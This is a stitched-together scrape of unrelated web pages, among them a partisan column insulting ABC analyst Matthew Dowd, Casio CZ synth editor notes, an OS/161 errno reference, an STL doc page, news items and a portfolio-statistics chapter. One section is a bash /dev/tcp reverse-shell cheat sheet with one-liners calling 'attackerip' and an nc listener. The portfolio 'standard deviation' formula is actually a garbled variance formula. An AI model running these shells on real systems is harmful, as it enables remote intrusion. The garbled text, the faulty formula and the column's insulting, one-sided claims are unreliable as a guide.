Matthew Dowd, a far-left political analyst at ABC News, was forced to delete a sexist tweet aimed at Republican Rep. Elise Stefanik (R-NY).
by John NolteDowd’s Twitter account should be linked in the Dictionary under the word “cuck.” He’s an insufferable virtue signaler and male feminist who sold out to the far-left media after working for Republican President George W. Bush.

So after Stefanik shined during Wednesday’s impeachment hearing, and did so by any objective standard with sharp questions for the Democrats star witnesses against Trump, and even sharper questions for Committee Chairman Adam Schiff (D-CA), Dowd just couldn’t handle it. Instead of being barefoot in the left-wing kitchen where the left believe all women belong, here was Stefanik effectively exposing the coup and their plotters on national television.
So what did the male chauvinist do? He took to Twitter to attack Stefanik for being … a woman.
“Elise Stefanik is a perfect example of why just electing someone because they are a woman or a millennial doesn’t necessarily get you the leaders we need,” Dowd tweeted from his verified account.
Rep. Mark Meadows (R-NC) quickly fired back at Dowd, tweeting, “Elise did a great job laying out the facts. And, not least of all, this comment is reprehensible.”
With all due respect to Meadows, what he fails to understand is that Stefanik’s “great job laying out the facts” is exactly why Dowd condemned her for being an uppity traitor to her gender.
Stefanik also ripped Dowd: “It’s a good thing I wasn’t raised to measure my self-worth or professional work based on tweets from self-important @MSNBC commentators like Dowd (who is he again?),” she tweeted.
Dowd eventually slithered back to Twitter to delete his sexist tweet with an apology that only made things worse….
“Hey @EliseStefanik I just want to apologize for a tweet that is being misinterpreted,” Dowd wrote. “I didn’t mean to suggest you were elected only because you were a woman or a millennial. I deleted the tweet.”
See what Dowd did there? He did what all abusive men do to the “mouthy” women who “provoke” their verbal abuse: I’m sorry, baby, but it’s not my fault. You just don’t understand.
Oddly enough, a good faith search of Dowd’s Twitter account finds no criticism of his own employers at ABC News protecting rapist Jeffrey Epstein for three years. Guess Dowd’s concern for women and integrity doesn’t extend to his paycheck.
Follow John Nolte on Twitter @NolteNC . Follow his Facebook Page here .


This editor will work with the Casio CZ-1, CZ-101, CZ-1000, CZ-3000, CZ-5000, and CZ-230S.
Because it has more features, the CZ-1 has different sysex than the other synths, though it can receive patches in their format. To send or write to a CZ-1, click the "CZ-1" button. To send or write to a CZ-101/1000/3000/5000/230S, turn off that button.
The CZ-230S has 100 patch slots, but you can only write to the top 4 (slots 96, 97, 98, and 99). To access a given patch slot, first determine its equivalent "bank", and then convert the patch slot as appropriate. For example, to request slot 49, go to "Request Patch", then notice that Bank G stores CZ-230s slots 48 through 55. This means that slot 49 is the second patch in this bank. Thus the Bank is "G" and the Patch Number is "2".
There is no way to send to the current memory of a CZ-230S. Due to a strange quirk of Casio's sysex protocol, sending to current memory will in fact write to patch 96. Edisyn sends to current memory in many situations: whenever it has just loaded a patch, or if you use any number of features, including undo, randomize, nudge, merge, blend, hill-climb, morph, etc., etc. This means that you should treat patch 96 as a "scratch" or "temporary" patch, because in the process of editing patches, Edisyn may overwrite 96 multiple times. If you're finished editing and have saved everything to patches or files, you can still *write* to patch 96 and it'll get saved there; but Edisyn may later overwrite that.
Even if you're an experienced CZ patch programmer, you may be confused by this patch editor. That's because Casio only provides a subset of options for their waveforms via their front end and manual: much more is available over sysex. You should first read (http://www.kasploosh.com/projects/CZ/11800-spelunking/) about how the CZ waveforms actually work: Edisyn's editor lets you modify them the way they really are.
In reality, the CZ series provides you with two waveforms and one window for each oscillator. The second waveform can optionally be turned off. The waveforms are different than what you were taught in the manual: they are saw, square, pulse, "null" (nothing), sine-pulse, saw-pulse, multi-sine, and 2x pulse. Each of these waveforms can be windowed with different windows to force them to zero at the end of each period. The windows are: saw, triangle, trapezoid, pulse, and 2x saw. If you have no idea what all this means, then read the aforementioned URL: you'll discover a whole new synthesizer!
Additionally, the CZ has more modulation options and an additional hidden flag ("Mute Line 1") than you were be led to believe. Edisyn provides access to all of these. For more information, see http://www.kasploosh.com/projects/CZ/11800-spelunking/8-modulation.html
Also certain envelopes can in fact go higher than 99, though this is not available from the front panel. Namely, the DCO Level can go to 123, and the DCA Envelope Rate can go to 106. See https://www.kasploosh.com/cz/13466-envelopes/3-the_myth/ for more information.
Thanks to Guillaume Collavizza<EMAIL_ADDRESS>for his help in testing on the CZ-230S.
| By | Sean Luke |
| Date | June 2019 |


- This is first item of my unordered list
- This is second item of my unordered list
- This is third item of my unordered list
- This is first item of my ordered list
- This is second item of my ordered list
- This is third item of my ordered list
HTML Table
| Name |
Employee ID |
Employee Role |
| Shivam |
343434 |
Prograamer |
| Shubam |
343456 |
Android Developer |
| Shivam |
o495 |
HTML Expert |


The ability to handle /dev/tcp/host/port and /dev/udp/host/port in redirection was added to bash in version 2.04.
You need to compiled bash with --enable-net-redirections option.
To test whether the feature is present, you can check the error message when trying to open a TCP port for the discard service: both bash and ksh say “Connection refused” (or the command returns immediately if you have a discard service on your local machine), which you wouldn't see if this doesn't attempt to make some network connection.
TARGET: /bin/bash -i > /dev/tcp/<LHOST>/<LPORT> 0<&1 2>&1
ATTACKER: nc -nvvlp <LPORT>
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
Read/send files?
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
Remember for close opened fd (exec)
1: exec {file-descriptor}>&-
2: exec {file-descriptor}<&-;


MoreRecipes
Home
(current)
Profile
My Recipes
Catalog
Search
Fried Rice and Salad
54
  3
Egusi soup and pounded yam
54
  3
Jollof Rice
54
  3
Poridge beans and plantain
54
  3
Fried Rice and Salad
54
  3
Fried Rice and Salad
54
  3
Popular Recipes
Yam Porridge
Burger
Jollof Rice
Suya


laboratory {border-style px;} #ffffff;} tuberculosis solution culture drug plate indicator inside sterile susceptibility H-S Table growth medium min testing DST assay autoclave color methods px; ref. results standard training vial working {font-family broth control font-size redox use wells Add BSC SOP concentration double; liquid paper resazurin solid solutions towels using Colorimetric Figure Mycobacterium Transfer border-color border-width cabinet change colorimetric contamination disposal drugs identification incubator infectious inoculum isolate lab materials new obtained procedures proper rapid safety solid; spill stock suspension test turbidity work {font-style {font-weight Drug INH Martin McFarland Use Weigh [], added bold cabinets courier; drugs. dye em; given gloves interpretation isolates non-commercial phenol phenolic procedure pt;} required resistant soaked supernatant wipe μl)


--- layout: archive title: Zulip Chat Archive permalink: /stream/113489-new-members/topic/TPIL.207.2E10.2E3.html ---
From TPIL exercise 7.10.3:
Define an inductive data type consisting of terms built up from the following constructors:
const n
, a constant denoting the natural numbern
var n
, a variable, numberedn
plus s t
, denoting the sum ofs
andt
times s t
, denoting the product ofs
andt
Recursively define a function that evaluates any such term with respect to an assignment of values to the variables.
Handling everything except for the var
, here's what I have so far for the inductive data type:
inductive Expr | const : ℕ → Expr | plus : Expr → Expr → Expr | times : Expr → Expr → Expr
And the function that evaluates these terms:
def eval (e : Expr) : ℕ := Expr.rec_on e (λ n, n) (λ a b c d, c + d) (λ a b c d, c * d)
This seems to work OK:
#reduce eval (plus (const 2) (const 3)) -- 5 #reduce eval (plus (plus (const 2) (const 3)) (const 4)) -- 9 #reduce eval (times (const 2) (const 3)) -- 6 #reduce eval (times (plus (const 2) (const 3)) (plus (const 4) (const 5))) -- 45 #reduce eval (plus (times (const 2) (const 3)) (times (const 4) (const 5))) -- 26
It isn't clear what the exercise intends as far is support for var
goes, however.
Can someone give an example of how var
would be used as they're intending?
Thanks!
inductive Expr | const : ℕ → Expr | var : ℕ → Expr | plus : Expr → Expr → Expr | times : Expr → Expr → Expr def eval (e : Expr) (assignment : ℕ → ℕ) : ℕ := sorry #reduce eval (Expr.var 2) (λ n, 3) -- 3
I think
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Contact
- https://github.com/panzhiyi
-<PHONE_NUMBER>6
-<EMAIL_ADDRESS>- Shenzhen, China
About Me
-
[New!] I will join Peking University Shenzhen Graduate School (PKU) as a PhD student in 2021 fall, advised by Prof. Ge Li.
-
I have finished my master program in School of Computer Science and Technology, Shandong University (SDU) in June 2021. I worked with Professor Changhe Tu and Associate Professor Peng Jiang. When I was in SDU, I was a member of Interdisciplinary Research Center.
Education Bio
-
MSc of Computer Science and Technology from Shandong University
Supervised by Professor Changhe Tu and Professor Peng Jiang.
-
B.Eng. Computer Science from Taishan College, Shandong University
Supervised by Professor Jingliang Peng.
Research Interest
-
For now, I mainly focus on the following perspectives for Computer Vision:
- Instance and Semantic Segmentation in Point Clouds
- Weakly Supervised Semantic Segmentation
Teaching
-
sd01332120 Introduction of Artificial Intelligence. Teaching Assistant
-
sd01332070 Artificial Intelligence Application Practice. Teaching Assistant
Paper List
-
[New!] Semantic Contour Detection by Measuring Neural Representation Randomness. (under the review of NeurIPS 2021).
Zhiyi Pan, Qiong Zeng, Peng Jiang, Ge Li and Changhe Tu.
-
[New!] Scribble-Supervised Semantic Segmentation by Uncertainty Reduction on Neural Representation and Self-Supervision on Neural Eigenspace. ICCV 2021. [PDF]
Zhiyi Pan, Peng Jiang, Yunhai Wang, Changhe Tu and Anthony G. Cohn.
-
Bi-Directional Attention for Joint Instance and Semantic Segmentation in Point Clouds. ACCV 2020. [PDF] [Source]
Guangnan Wu, Zhiyi Pan, Peng Jiang, and Changhe Tu.
-
Super Diffusion for Salient Object Detection. TIP 2019. [PDF] [Source]
Peng Jiang, Zhiyi Pan, Changhe Tu, Nuno Vasconcelos, Baoquan Chen, and Jingliang Peng.


Third Post
This is my third post and I am sticking to it. It is a simple post, but that is the way I like it. This is my first post and I am sticking to it. It is a simple post, but that is the way I like it.This is my first post and I am sticking to it. It is a simple post, but that is the way I like it.This is my first post and I am sticking to it. It is a simple post, but that is the way I like it.
This is my third post and I am sticking to it. It is a simple post, but that is the way I like it. This is my first post and I am sticking to it. It is a simple post, but that is the way I like it. This is my first post and I am sticking to it. It is a simple post, but that is the way I like it.
The End


Emery hopes everything will sort itself out with Xhaka
by BeSoccerUnai Emery stripped Granit Xhaka of his captaincy after his actions against Crystal Palace. The player is going through a hard time in the ranks of Arsenal. Despite this, the coach has expressed to the club his wish that the Swiss continue in their ranks.
Alarms were recently triggered by continuing criticism towards Xhaka, which could have made a dent in the player's mental health.
The incident with Arsenal fans, in which he disrespected the fans, his irregular performances... are factors that have taken his situation at the London club to the extreme. So much so that his departure to Newcastle was rumoured.
Featured links
- Mourinho replaces Pochettino at Tottenham
- The latest football transfers news and rumours
- Wales, golf, Madrid... in that order
- Luis Enrique returns to Spain national team
Everything seemed to be heading towards a separation between the two aprties. But the unexpected support on Emery's behalf has turned the situation around, as 'The Sun' explained.
Emery wants the Swiss midfielder in his team and, for the moment, it's going to stay that way. It will be his job to get him back on the right track.


NRPN 23,0 stores the {_program} from the Main {_instrument} to a file, or reports such storing. The Bank MSB and the Data MSB specify the bank and program number. If the program is a scratch program, the file is deleted instead.
Editor input: This stores the program from the Main instrument, and changes the program number and bank attributes accordingly, which clears the {_modified_flag}. It also echoes the operation back to the editor.
Editor output: This is sent whenever it is performed on the Main instrument, either as an echo of a received Program Store, or because the STORE switch was pressed.
Record output, Playback input, External input: Not supported.


is a rising junior who attends Independence High School. Atharva is passionate and interested in math and science and teaching children the basics of java. He has completed both Pap and AP computer Science at Independence High School and has participated in coding competitions and FTC robotics. Atharva is going to do Advanced Computer Science in the coming school year. He is excited to share his learning experience with others.
is a rising junior at Independence High School. He is very interested in math and computer science. He is also interested in teaching middle school children to improve his leadership skills. He has completed AP Computer Science and has participated in coding competitions and robotics competitions such as FRC and FTC. Charan is going to take Advanced Computer Science and AP Computer Science Principles in his junior year. He is passionate to share his coding experience.
We will be teaching kids the basics of java that includes initializing variable and dening class structures at the start of the summer camp to more advanced java at the end which includes Object Oriented Programming. We will give practice problems as well as go over them every Sunday and we will teach the concepts in depth during the meetings.
This is our contact information. Don't hesitate to contact us!
Atharva Gupta :<PHONE_NUMBER>
Charan Vengatesh :<PHONE_NUMBER>
Atharva Gupta<EMAIL_ADDRESS>Charan Vengatesh : charan.adhish@gmail.com


| Categories: iterators, adaptors | Component type: type |
The main difference between sequence_buffer and back_insert_iterator is that back_insert_iterator inserts elements into a sequence one element at a time; sequence_buffer, however, as the "buffer" part of the name suggests, accumulates elements into a buffer and appends the entire buffer in a single operation.
Specifically, the expression *it = v adds v to the end of it's internal buffer. The buffer is automatically flushed when it gets full, or when it is destroyed; flushing the buffer means emptying it and appending its contents to it's underlying container. (It is also possible to flush the buffer manually, by invoking the flush() member function.)
This difference has two implications. First, sequence_buffer is only useful if appending an array of N elements is much more efficient than inserting a single element N times. Second, sequence_buffer assumes that it can insert elements at the end of a container using an append member function. This member function is not part of the Container or Sequence requirements. The sequence_buffer adaptor can be used with rope, but not with any of the other containers in the library. (This is the reason why sequence_buffer is defined in the file rope.h, instead of in iterator.h.)
If you want to build up a string one character at a time, it is much more efficient to use sequence_buffer than to repeatedly add single characters to the end of a rope.
int main() { const char* const s = "this is a test"; const int N = strlen(s); crope r; transform(s, s + N, sequence_buffer<crope>(r), toupper); cout << "r = " << r << endl; }
| Parameter | Description | Default |
|---|---|---|
| Container | The type of the underlying container that elements are being written to. [1] | |
| buf_sz | Number of elements in the buffer. This is a number, not a type. buf_sz has type size_t. | 100 |
| Member | Where defined | Description |
|---|---|---|
| value_type | sequence_buffer | The underlying container's value type. |
| sequence_buffer(Container& C) | sequence_buffer | Create a sequence_buffer whose underlying container is C. |
| sequence_buffer() | Default Constructible | The default constructor. The resulting iterator is singular. |
| sequence_buffer(const sequence_buffer&) | Assignable | Copy constructor. |
| sequence_buffer& operator=(const sequence_buffer& s) | Assignable | Assignment operator. |
| sequence_buffer& operator=(sequence_buffer& s) | Assignable | Faster version of assignment operator. |
| sequence_buffer& operator=(const value_type&) | Output Iterator | Used to implement the Output Iterator requirement *i = t. [2] |
| sequence_buffer& operator*() | Output Iterator | Used to implement the Output Iterator requirement *i = t. [2] |
| sequence_buffer& operator++() | Output Iterator | Preincrement |
| sequence_buffer& operator++(int) | Output Iterator | Postincrement |
| void flush() | sequence_buffer | Flush the buffer. |
| void push_back(value_type) | sequence_buffer | i.push_back(x) is equivalent to *i = x. |
| void append(value_type* s, size_t len) | sequence_buffer | Append multiple values. |
| Function | Description |
|---|---|
| value_type | The underlying container's value type. That is, typename Container::value_type. |
| sequence_buffer(Container& C) | Create a sequence_buffer whose underlying container is C. Elements appended to the sequence_buffer will be appended to C whenever the sequence_buffer is flushed. |
| void flush() | Append all elements in the buffer to the underlying container, and empty the buffer. That is, make the underlying container consistent with the sequence_buffer. Note that flush is called automatically whenever the buffer is full, and also by sequence_buffer's destructor. Sometimes, however, it is useful to be sure that the buffer is flushed at a particular time. |
| void push_back(value_type x) | Append x to the sequence_buffer. Note that this member function is strictly unnecessary: i.push_back(x) is just alternate syntax for *i = x. |
| void append(value_type* s, size_t len) | Append the range [s, s + len) to the sequence_buffer. Note that i.append(s, n) is just the same as copy(s, s + n, i). The append member function, however, is faster. |
[1] Despite the name "sequence_buffer", this adaptor cannot actually be used with arbitrary sequences: it requires that the template argument Container have an append member function that can insert multiple elements at the end of the container. This member function is not part of the Sequence requirements. This means that sequence_buffer can be used with rope, but not with any of the other predefined container classes.
[2] Note how assignment through a sequence_buffer is implemented. In general, unary operator* must be defined so that it returns a proxy object, where the proxy object defines operator= to perform the output operation. In this case, for the sake of simplicity, the proxy object is the sequence_buffer itself. That is, *i simply returns i, and *i = t is equivalent to i = t. You should not, however, rely on this behavior. It is an implementation detail, and it is not guaranteed to remain the same in future versions.


Page Not Found
Nobody Here But Us Chickens!
Sorry, the page you tried to access isn't available.
I realize this message is little consolation, but you could try:
- the search box on the right
- the ARCHIVES on the menu bar just above
- one of the Categories links to the right


errno - error code reporting
Standard C Library (libc, -lc)
#include <errno.h>
extern int errno;
When system calls, and sometimes other functions, fail, a code representing or describing the error condition is placed in the global variable errno.
When an operation succeeds, errno is not explicitly changed; however, operations that succeed are also not required to preserve the pre-existing value of errno. In general one must first check whether the operation failed, and only then interrogate errno.
A handful of functions in Standard C and POSIX are explicitly defined to preserve errno on success. These are typically functions with not-entirely-satisfactory interfaces where the only reliable way to detect failure is to clear errno to zero beforehand and check it afterwards. The most common/notable example (not currently available in OS/161's library) is strtol.
errno may be a macro. In a multithreaded process it is almost invariably a macro. However, it is always an lvalue, that is, it may be assigned to.
Each numeric code has a symbolic name and a textual expansion. The symbolic names are used in source code; the textual expansions are printed out when errors are reported to users.
The textual expansions can be retrieved with strerror or printed with err or warn.
The following symbolic errors are defined in the OS/161 base system. You may add more at your pleasure; but be sure to read the notes in the file kern/errno.h that defines them.
| ENOSYS | Function not implemented: the action requested required functionality not yet implemented. This is also the error produced by attempting to make nonexistent system calls. |
| ENORECOVERY | Bad Action. Non Recoverable: something bad happen and the process can't be recovered. It can segfault, illegal instruction, floating point exception, bus error, etc | |
| ENOMEM | Out of memory: a memory allocation failed. This normally means that a process has used up all the memory available to it. (This may be due to limits or because it has used up all the memory available to the system.) It may also mean that memory allocation within the kernel has failed. | |
| EAGAIN | Operation would block: some resource is temporarily unavailable, or a non-blocking I/O operation (if such things exist) could not be completed without waiting. Historically, the message was "Try again later"; in 4.4BSD EAGAIN and the old EWOULDBLOCK error code were folded together. | |
| EINTR | Interrupted system call: handling of a system call was interrupted by the delivery of a signal. (If you have signals.) | |
| EFAULT | Bad memory reference: a pointer passed as an argument was not valid. Within the kernel, the copyin family of functions produces this error when given an invalid pointer. | |
| ENAMETOOLONG | String too long: a string passed as an argument was too long to process. | |
| EINVAL | Invalid argument: an argument passed to a command or system call was badly formed, invalid, or nonsensical, in a way for which no more specific error code is defined. | |
| EPERM | Operation not permitted: the requested operation is restricted to privileged users, or, in some cases, prohibited entirely. Note that "permission denied" is not EPERM. | |
| EACCES | Permission denied: the current process's credentials do not allow the desired form of access to the target object according to its permission settings. Note that "permission denied" is not EPERM. | |
| EMPROC | Too many processes: the current user ID has reached its limit of simultaneous running processes. In Unix, this is spelled EPROCLIM. | |
| ENPROC | Too many processes on system: the system process table is full. (Void where impossible or prohibited by law.) | |
| ENOEXEC | File is not executable: an execv operation was attempted but the kernel was unable to run the requested program. | |
| E2BIG | Argument list too long: the space taken up by the argv[] strings (and environment strings, where applicable) passed to a newly started program is larger than the system allows. The limit on this space is given by the symbol ARG_MAX. | |
| ESRCH | No such process: the supplied process ID does not name any of the currently running processes. | |
| ECHILD | No child processes: the current process has no exited child processes whose exit status has not yet been collected with waitpid. | |
| ENOTDIR | Not a directory: a directory was expected and a non-directory filesystem object was found. | |
| EISDIR | Is a directory: a non-directory was expected and a directory was found. | |
| ENOENT | No such file or directory: the requested filesystem object does/did not exist. | |
| ELOOP | Too many levels of symbolic links: pathname lookup crossed more than the maximum allowed number of symbolic links. Usually means a link points to itself, or a family of links has been arranged into a loop. (If you have symbolic links.) | |
| ENOTEMPTY | Directory not empty: a directory must be empty of everything (except . and ..) before it may be removed. | |
| EEXIST | File exists: a filesystem object that was expected not to exist did in fact already exist. | |
| EMLINK | Too many hard links: the maximum number of hard links to the target file already exist. | |
| EXDEV | Cross-device link: an attempt was made to instruct one filesystem to handle files on another filesystem. | |
| ENODEV | No such device: the requested device or device driver does not exist. | |
| ENXIO | Device not available: the requested device exists but is not available (is not mounted, is powered off, etc.) | |
| EBUSY | Device busy: the requested object cannot be used (or, perhaps, released) because something else is using it. | |
| EMFILE | Too many open files: the process file table is full, so the process cannot open more files. | |
| ENFILE | Too many open files in system: a system-wide limit of some sort, if any exists, on the number of open files has been reached. Void where not possible. | |
| EBADF | Bad file number: a file operation was requested on an illegal file handle, or a file handle that was not open. Or, a write operation was attempted on a file handle that was open only for read or vice-versa. | |
| EIOCTL | Invalid or inappropriate ioctl: an operation requested via the ioctl system call was not defined or could not be performed on the indicated object. In Unix, for historical reasons, this is spelled ENOTTY, with the historic message "Not a typewriter". | |
| EIO | Input/output error: a hardware-level error occured on a device. Media errors on disks fall into this category. | |
| ESPIPE | Illegal seek: a seek operation was attempted on a sequential object where seeking makes no sense, like a pipe or terminal. | |
| EPIPE | Broken pipe: a write was made to a pipe or socket object with nobody to read it. | |
| EROFS | Read-only file system: an attempt was made to modify a filesystem that was mounted read-only. (If you have read-only mounts.) | |
| ENOSPC | No space left on device: the target filesystem is full. | |
| EDQUOT | Disc(sic) quota exceeded: the current user ID's quota (of space or number of files) on the target filesystem has been used up. (If you have disk quotas.) | |
| EFBIG | File too large: an attempt was made to exceed the target filesystem's maximum file size, or a per-user limit on maximum file size was reached, if such a thing exists. | |
| EFTYPE | Invalid file type or format: the file provided was the wrong kind of file or contained invalid syntax. | |
| EDOM | Argument out of range: the (numeric) argument provided was outside the values upon which the operation is defined. For example, attempting to evaluate the logarithm of zero produces this error. It is sometimes also used for non-numeric arguments where the idea of being "out of range" still makes sense. | |
| ERANGE | Result out of range: the result of an operation did not fit in the space provided or could not be represented. Usually used with numeric values. String values that don't fit usually result in ENAMETOOLONG, or in its specific case, E2BIG. | |
| EILSEQ | Invalid multibyte character sequence: the input string contained a byte sequence whose value is undefined or whose use is restricted. Only applicable when a multibyte character set is in use, and if someone has added locale support. | |
| ENOTSOCK | Not a socket: the file handle in question does not refer to a socket, but a socket was expected. | |
| EISSOCK | Is a socket: the file handle in question refers to a socket, but a socket was not expected. In Unix this is spelled EOPNOTSUPP, and prints as "Operation not supported on socket". | |
| EISCONN | Socket is already connected: given the protocol in use, the operation requires a socket that has not yet been connected, but the socket provided is in fact connected. | |
| ENOTCONN | Socket is not connected: given the protocol in use, the operation requires a connected socket, but no connection has yet been made. | |
| ESHUTDOWN | Socket has been shut down: the operation requires a running socket, but the socket provided has been closed down. | |
| EPFNOSUPPORT | Protocol family not supported: the requested protocol family (PF_INET, PF_LOCAL, etc.) is not supported by the system. | |
| ESOCKTNOSUPPORT | Socket type not supported: the requested socket type (SOCK_STREAM, SOCK_DGRAM, etc.) is not supported by the system. | |
| EPROTONOSUPPORT | Protocol not supported: the protocol requested for a socket was not one supported by the system. | |
| EPROTOTYPE | Protocol wrong type for socket: the protocol requested for a socket was not one supported by the requested socket type and protocol family. | |
| EAFNOSUPPORT | Address family not supported by protocol family: the address family named in a struct sockaddr (AF_INET, AF_LOCAL, etc.) is not supported by the protocol family used to create the socket (PF_INET, PF_LOCAL, etc.). In practice each protocol family has exactly one address family and the values of AF_* and PF_* are often, if incorrectly, used interchangeably. If you run into this error in real life, it usually means you didn't initialize your sockaddr structures correctly. | |
| ENOPROTOOPT | Protocol option not available: the protocol option that was requested is not supported or cannot be activated. | |
| EADDRINUSE | Address already in use: the requested socket address is already in use by another socket somewhere on the system. | |
| EADDRNOTAVAIL | Cannot assign requested address: the requested socket address is unavailable. Usually caused by attempting to bind a socket to the IP address of another machine. | |
| ENETDOWN | Network is down: the network or subnet needed is offline. | |
| ENETUNREACH | Network is unreachable: the network or subnet needed cannot be reached from here, possibly due to routing problems on the network, possibly due to local configuration trouble. | |
| EHOSTDOWN | Host is down: the specific machine requested is offline. | |
| EHOSTUNREACH | Host is unreachable: the specific machine requested cannot be reached from here. | |
| ECONNREFUSED | Connection refused: the remote machine is not listening for connections on the requested port. | |
| ETIMEDOUT | Connection timed out: there was no response from the remote machine. It may be down, it may not be listening, or it may not be receiving our packets at all. | |
| ECONNRESET | Connection reset by peer: the connection was abandoned by the remote host. Usually seen on already-open connections after the remote machine reboots and thereby loses its network state. Sometimes also caused by defective network devices between the local and remote hosts. | |
| EMSGSIZE | Message too large: an internal protocol length limit was exceeded. | |
| ENOTSUP | Threads operation not supported: a special error code defined by the POSIX threads standard, which is a "special" interface. |


--- layout: post title: hands date: '2014-12-12T07:30:21+01:00' categories: - Sketches picture_url: https://film-Storyboards.tumblr.com/post/105005025854/hands ---


[% page.title = 'Resources about Debugging Perl'; page.forcenavigation = 1; %]
Perl Debugged by Peter Scott and Ed Wright
This book provides you with excellent tips that will help you avoid a number of bugs and shows you ways to find bugs once they made their way into your code.
DeBugging Perl by Martin Brown
Using the Perl Debugger on Dr. Dobbs's by brian d foy.
Creating a Perl Debugger on Dr. Dobbs's by brian d foy.
Using The Perl Debugger on Dev Shed by icarus


Contact us
Card Number
Expiration date 1 2 3 4 5 6 7 8 9 10 11 12 2015 2016 2017 2018 2019 2020
Card CVC
After you pay we will contact you at your email


Nigerian bishop reacts to upcoming UNN witchcraft conference, says it can never hold
- A Nigerian cleric has come out to react to the news of a witchcraft conference set to hold in UNN
- The bishop, Sam Zuga, said as long as he is alive, the conference would never hold
- Zuga also noted that organising FESTAC in Nigeria caused poverty in the country
A Nigerian cleric identified as Bishop Zam Zuga has come out to react to the news of a witchcraft conference set to hold in the University of Nigeria, Nsukka (UNN).
In a post shared on Facebook, Zuga said that as long as God is still alive, and he is also alive, the academic conference can never take place.
According to him, other nations are holding conference to move the development of their countries forward, but what is obtainable in Nigeria is academic experts coming together for a witchcraft conference.
PAY ATTENTION: Read best news on Nigeria's #1 news app
South African artistes kick against Burna Boy performing in their country for Africans Unite concert
"As long as God is alive and I am alive.This conference can't hold. When Nations are holding digital conferences to advance technology, Nigeria professors are busy organizing international conference to teach witchcraft," his post read.
Speaking further, Zuga made a reference to the Festival of Arts and Culture (FESTAC) that held in 1977. According to him, holding the festival in the country resulted in an influx of witches into the country.
He said: "What brought poverty in Nigeria is the FESTAC which Obasanjo use Nigeria money to organized, instead of advancing technology at that time with abundant oil money, he rather invited witches all over Africa to Nigeria, Many of them came for FESTAC and refused to go back to their countries.
"That is why God became angry with Nigeria and we become one of the poorest countries of the world."
See a screenshot of his post below:
Alleged dispute with Buhari: Middle Belt leaders send important message to Osinbajo
PAY ATTENTION: Get your daily relationship tips and advice on Africa Love Aid group
PAY ATTENTION: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda
Meanwhile, Legit.ng previously that a Nigerian lady identified as Maudlyn Adaeze Ekwueme condemned the planned witchcraft conference. She called out UNN on social media, stating that she would speak against the exercise.
NAIJ.com (naija.ng) -> Legit.ng We have upgraded to serve you better
Slum Chronicles: Surrounded By Witches | Legit TV


TODO
TODO
TODO
TODO
Property that allows to set up background url
Property that allows to set up the background color
Property that allows to set up the position of the background image
Property that allows to declare if the background is responsive or not
Property that allows to set up the size of the background image
Method to attach shadow CSS to the component
TODO
Method to add all the available event listeners
Method to remove all the available event listeners
TODO
Method to render the component into the DOM
TODO
Method to set up the image extension
Array of string containing image informations
Image extension
Method to set up the image root URL
Array of string containing image informations
Image root URL
Method to device pixel ratio
Device pixel ratio value
TODO
Method to add default stylesheet on the child content
Generated using TypeDoc
How to declare:
<lazy-background class="white" bg="assets/img/bg/bg_1500w_1x.jpg" responsive color="#666"></lazy-background>


Chapter 2 Portfolio Standard Deviation
Let’s start with the textbook equation for the standard deviation of a multi-asset portfolio.
Here is the Latex code for the equation.
$$Standard~Deviation=\sqrt{\sum_{t=1}^n (x_i-\overline{x})^2/n}$$
And here is the output
\[Standard~Deviation=\sqrt{\sum_{t=1}^n (x_i-\overline{x})^2/n}\] where x is each monthly portfolio return and x-bar is the mean monthly portfolio return. For a multi-asset portfolio, the equation is not simply the weighted variances of each asset. Instead, it’s the weight squared of each asset multiplied by that asset’s variance, plus the covariance of each asset times the weights of those assets.
Here is the Latex code for the equation
$$Standard~Deviation=$$
$$w_{asset1}^{2} * var_{asset1} ~+~ w_{asset2}^{2} * var_{asset2} ~+~$$
$$w_{asset3}^{2} * var_{asset3} ~+~ w_{asset4}^{2} * var_{asset4} ~+~$$
$$w_{asset5}^{2} * var_{asset5} ~+~ w_{asset1}*w_{asset_2}*cov_{asset 1, ~asset 2} ~+~$$
$$w_{asset1}*w_{asset_3}*cov_{asset 1, ~asset 3} ~+~$$
$$w_{asset1}*w_{asset_4}*cov_{asset 1, ~asset 4} ~+~$$
$$w_{asset1}*w_{asset_5}*cov_{asset 1, ~asset 5} ~+~$$
$$w_{asset2}*w_{asset_3}*cov_{asset 2, ~asset 3} ~+~$$
$$w_{asset2}*w_{asset_4}*cov_{asset 2, ~asset 4} ~+~$$
$$w_{asset2}*w_{asset_5}*cov_{asset 2, ~asset 5} ~+~$$
$$w_{asset3}*w_{asset_4}*cov_{asset 3, ~asset 4} ~+~$$
$$w_{asset3}*w_{asset_5}*cov_{asset 3, ~asset 5} ~+~$$
$$w_{asset4}*w_{asset_5}*cov_{asset 4, ~asset 5}$$
Here is that equation for a 5-asset portfolio.
\[Standard~Deviation=\] \[w_{asset1}^{2} * var_{asset1} ~+~ w_{asset2}^{2} * var_{asset2} ~+~\]
\[w_{asset3}^{2} * var_{asset3} ~+~ w_{asset4}^{2} * var_{asset4} ~+~\]
\[w_{asset5}^{2} * var_{asset5} ~+~ w_{asset1}*w_{asset_2}*cov_{asset 1, ~asset 2} ~+~\]
\[w_{asset1}*w_{asset_3}*cov_{asset 1, ~asset 3} ~+~\] \[w_{asset1}*w_{asset_4}*cov_{asset 1, ~asset 4} ~+~\] \[w_{asset1}*w_{asset_5}*cov_{asset 1, ~asset 5} ~+~\] \[w_{asset2}*w_{asset_3}*cov_{asset 2, ~asset 3} ~+~\] \[w_{asset2}*w_{asset_4}*cov_{asset 2, ~asset 4} ~+~\] \[w_{asset2}*w_{asset_5}*cov_{asset 2, ~asset 5} ~+~\] \[w_{asset3}*w_{asset_4}*cov_{asset 3, ~asset 4} ~+~\] \[w_{asset3}*w_{asset_5}*cov_{asset 3, ~asset 5} ~+~\] \[w_{asset4}*w_{asset_5}*cov_{asset 4, ~asset 5}\]
Now, let’s use that equation and calculate portfolio standard deviation by-hand. This is not for the faint of heart.
First, we assign the weights of each asset, based on the w
vector we created earlier in the Returns section.
Then, we isolate and assign returns of each asset from asset_returns_xts
and plug those weights and returns into the equation for portfolio standard deviation.
